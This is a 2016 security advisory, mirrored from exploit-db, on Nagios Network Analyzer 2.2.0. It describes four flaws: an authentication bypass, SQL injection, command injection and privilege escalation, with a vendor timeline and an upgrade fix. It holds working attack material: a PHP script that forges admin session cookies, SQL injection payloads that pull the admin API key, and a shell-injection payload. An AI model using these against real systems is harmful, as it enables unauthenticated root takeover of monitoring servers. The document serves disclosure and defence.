Nagios Network Analyzer 2.2.0 – Multiple Vulnerabilities

  • 作者: Security-Assessment.com
    日期: 2016-08-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40251/
  • (, ) (,
    . '.' ) ('.',
     ). , ('. ( ) (
    (_,) .'), ) _ _,
     /_____// _\________ _____
     \____\==/ /_\\ _/ ___\/_ \ / \
     / \/ |\\\__(<_> )Y Y\
    /______/\___|__/ \___>____/|__|_|/
    \/ \/.-.\/ \/:wq
    (x.0)
    '=.|w|.='
    _=''"''=.
    
    presents..
    
    Nagios Network Analyzer Multiple Vulnerabilities
    Affected versions: Nagios Network Analyzer <= 2.2.0
    
    PDF:
    http://www.security-assessment.com/files/documents/advisory/NagiosNetworkAnalyzerAdvisory.pdf
    
    +-----------+
    |Description|
    +-----------+
    The Nagios Network Analyzer application is affected by multiple security
    vulnerabilities, including authentication bypass, SQL injection,
    arbitrary code execution via command injection and privilege escalation.
    
    These vulnerabilities can be chained together to obtain unauthenticated
    remote code execution in the context of the root user.
    
    +------------+
    |Exploitation|
    +------------+
    ==Authentication Bypass==
    Authentication for the Nagios Network Analyzer web management interface
    can be bypassed due to an insecure implementation of the function
    validating session cookies within the ‘Session.php’ file. As shown
    below, the application uses a base64 encoded serialized PHP string along
    with a SHA1 HMAC checksum as the cookie to authenticate and manage user
    sessions. A sample cookie format is shown below:
    
     a:15:{s:10:"session_id";s:32:"325672f137d4e3747a0f9e61a4c867b2";s:10:"ip_address";s:15:"192.168.xxx.xxx";
     s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0)
    Gecko/20100101 Firefox/46.0";s:13:"last_activity";
     i:1463165417;s:9:"user_data";s:0:"";s:8:"identity";s:11:"nagiosadmin";s:8:"username";s:11:"nagiosadmin";s:5:"email";
     s:30:"xxxxxx@security-assessment.com";s:7:"user_id";s:1:"1";s:14:"old_last_login";s:10:"1463163525";s:9:"apiaccess";
     s:1:"1";s:6:"apikey";s:40:"6ba11d3f6e84011b3332d7427d0655de64f11d5e";s:8:"language";s:7:"default";s:10:"apisession";
     b:1;s:7:"view_id";i:0;}<SHA1_HMAC_CHECKSUM>
    
    The application relies on the validation against the SHA1 HMAC to
    recognize and destroy invalid session cookies when the checksum value
    does not match. However the encryption key used to generate the HMAC
    checksum is statically set to the SHA1 hash value of the
    $_SERVER['HTTP_HOST'] PHP variable, which is the Host HTTP header value.
    This information can be controlled by the attacker and as such should
    not be considered a secure randomly generated value for the secret
    encryption key.
    
    Since no further verification is performed for other non-predictable
    fields (e.g. session_id, apikey, email, username etc.) and only a valid
    user agent string matching the correct HTTP header value is required, an
    attacker can forge arbitrary session cookies and bypass authentication.
    
    The script on the following page generates session cookies which are
    accepted and validated successfully by the application. A ‘user_id’
    value of 1 can be used to initiate a session in the context of the admin
    user.
    
    [POC - nagiosna_forge_cookie.php]
    <?php
    
    // Usage: php nagiosna_forge_cookie.php [TARGET_IP_ADDRESS/DOMAIN NAME]
    
    $host = $argv[1];
    
    $session =
    'a:14:{s:10:"session_id";s:32:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:10:"ip_address";
    s:15:"123.123.123.123";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT
    6.3; WOW64; rv:46.0) Gecko/20100101
    Firefox/46.0";s:13:"last_activity";i:1463229493;s:9:"user_data";s:0:"";s:8:"identity";s:4:"XXXX";s:8:"username";
    s:4:"XXXX";s:5:"email";s:16:"test@example.com";s:7:"user_id";s:1:"1";s:14:"old_last_login";s:10:"XXXXXXXXXX";
    s:9:"apiaccess";s:1:"1";s:6:"apikey";s:40:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:8:"language";s:7:"default";
    s:10:"apisession";b:1;}';
    
    $encryption_key = sha1($host);
    
    $hmac_check = hash_hmac('sha1', $session, $encryption_key);
    
    $cookie = $session . $hmac_check;
    echo urlencode($cookie);
    
    ?>
    
    This vulnerability is present across multiple Nagios products.
    
    
    ==SQL Injection==
    Multiple SQL injection vulnerabilities exist in the application web
    management interface. An attacker can exploit this vulnerabilities to
    retrieve sensitive data from the application MySQL database.
    
    URL =>
    /nagiosna/index.php/api/checks/read?q%5Blastcode%5D=0&o%5Bcol%5D=<PAYLOAD>&o%5Bsort%5D=ASC
    Method => GET
    Parameter => o[col]
    POC Payload => name AND (SELECT * FROM (SELECT(SLEEP(5)))UtTW)
    
    URL =>
    /nagiosna/index.php/api/sources/read?o%5Bcol%5D=<PAYLOAD>&o%5Bsort%5D=ASC
    Method => GET
    Parameter => o[col]
    POC Payload => name AND (SELECT * FROM (SELECT(SLEEP(5)))UtTW)
    
    URL => /nagiosna/index.php/admin/globals
    Method => POST
    Parameter => timezone
    POC Payload => US/Eastern%' AND (SELECT 4646 FROM(SELECT
    COUNT(*),CONCAT(0x232323,(SELECT MID((IFNULL(CAST(apikey AS
    CHAR),0x20)),1,54) FROM nagiosna_users WHERE id=1 LIMIT
    0,1),0x232323,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
    GROUP BY x)a) AND '%'=''
    
    
    ==Command Injection==
    A command injection vulnerability exists in the function generating PDF
    reports for download. Base64 encoded user-supplied input is passed as an
    argument to system shell calls without being escaped. An attacker can
    inject arbitrary shell commands and obtain remote code execution in the
    context of the apache user.
    
    URL => /nagiosna/index.php/download/report/sourcegroup/<ID>/<BASE64
    ENCODED PAYLOAD>
    Method => GET
    POC Payload => q[rid]=5&q[gid]=1" "";{touch,/tmp/TESTFILE};echo "
    
    URL => /nagiosna/index.php/download/report/source/<ID>/<BASE64 ENCODED
    PAYLOAD>
    Method => GET
    POC Payload => q[rid]=5&q[gid]=1" "";{touch,/tmp/TESTFILE};echo "
    
    Arbitrary code execution in the context of the ‘nna’ user can also be
    obtained by abusing the intended functionality to define custom alert
    commands. As shown in the next section, this exposes the application to
    additional privilege escalation attack vectors.
    
    
    ==Privilege Escalation==
    The default application sudoers configuration allows the ‘apache’ and
    ‘nna’ users to run multiple Bash and Python scripts as root without
    being prompted for a password. The 'apache' user is in the 'nnacmd'
    group, which has insecure write permissions to multiple script files. An
    attacker can overwrite their contents with a malicious payload (i.e.
    spawn a shell) and escalate privileges to root.
    
    The script files with insecure permissions are listed below:
    
    PATH => /usr/local/nagiosna/bin/rc.py
    PERMISSIONS => rwxrwxr-t nna nnacmd
    
    PATH => /usr/local/nagiosna/scripts/change_timezone.sh
    PERMISSIONS => rwsrwsr-t nna nnacmd
    
    PATH => /usr/local/nagiosna/scripts/upgrade_to_latest.sh
    PERMISSIONS => rwsrwsr-t nna nnacmd
    
    
    +----------+
    | Solution |
    +----------+
    Upgrade to Nagios Network Analyzer 2.2.2.
    
    
    +------------+
    |Timeline|
    +------------+
    2/06/2016 – Initial disclosure to vendor
    3/06/2016 – Vendor acknowledges receipt of advisory
    3/06/2016 – Vendor releases new software build (2.2.1)
    8/07/2016 – Inform vendor about insecure fix (generation of encryption
    key based on epoch)
    9/07/2016 – Vendor confirms issue and replies with new fix
    01/08/2016 – Vendor releases patched software version
    11/08/2016 – Public disclosure
    
    
    +------------+
    | Additional |
    +------------+
    Further information is available in the accompanying PDF.
    http://www.security-assessment.com/files/documents/advisory/NagiosNetworkAnalyzerAdvisory.pdf